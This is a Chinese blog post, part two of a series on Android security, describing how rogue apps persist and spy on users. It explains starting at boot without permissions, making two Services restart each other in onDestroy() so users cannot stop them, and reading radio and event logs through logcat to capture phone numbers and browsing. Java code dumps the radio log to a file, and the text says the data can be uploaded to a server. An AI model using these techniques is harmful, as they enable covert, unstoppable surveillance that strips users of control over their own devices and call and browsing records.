关于Android安全和通过命令给apk签名(2)

二 ,流氓软件是怎么打造不死之身的.

0权限程序开机启动,然后再次基础上打造程序的不死之身.

我们知道让我们的程序开机启动不需要配置任何权限,只需要编写一个广播即可.

要想用户无法停止程序的服务,我们可以通过两个Service来实现在第一个Service的onDestroy()方法里面启动第二个Service

在第二个Service的onDestroy()方法里面启动第一个Service,这样就无法停止程序的Service.

然后在广播里面,开机启动几个服务即可.

 

 

三,我们的隐私真的安全吗?

我们可以通过程序来监听用户开了什么网页,和谁打了电话等一切信息.

这就需要用到logcat了

logcat分为4个类别的日志信息:

Main   /dev/log/main 这就是logcat控制台输出的日志信息

Events /dev/log/events 关于事件的日志信息

Radio /dev/log/radio 与网络通讯相关的日志

System /dev/log/system 与系统相关的日志信息

现在假设你已经配置好了Android环境变量, adb logcat -b radio

然后我们通过DDMS给模拟器打电话(12121)

关于Android安全和通过命令给apk签名


我们可以从中看到电话号码的踪迹,记录其他用户行为也是一样的.比如我们浏览一个网页就可以通过events事件.

 

现在我们可以来记录logcat日志信息.然后可以把我们想要的数据上传到服务器.

 

通过Service来把我们需要的日志写到文件里面

通过Service来把我们需要的日志写到文件里面   try {                    Process process = Runtime.getRuntime().exec("logcat -b radio");                   InputStream is = process.getInputStream();                   BufferedReader br = new BufferedReader(new InputStreamReader(is));                   //data/data                     File file = new File(Environment.getExternalStorageDirectory(),"log.txt");                   FileOutputStream fos = new FileOutputStream(file);                   String result = null;                      while((result = br.readLine())!=null){                       System.out.println(result);                       fos.write(result.getBytes());                       fos.flush();                   }                  } catch (Exception e) {                   e.printStackTrace();               }      

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/497f288c3c91b3266aef1a1fdc70d5a3.html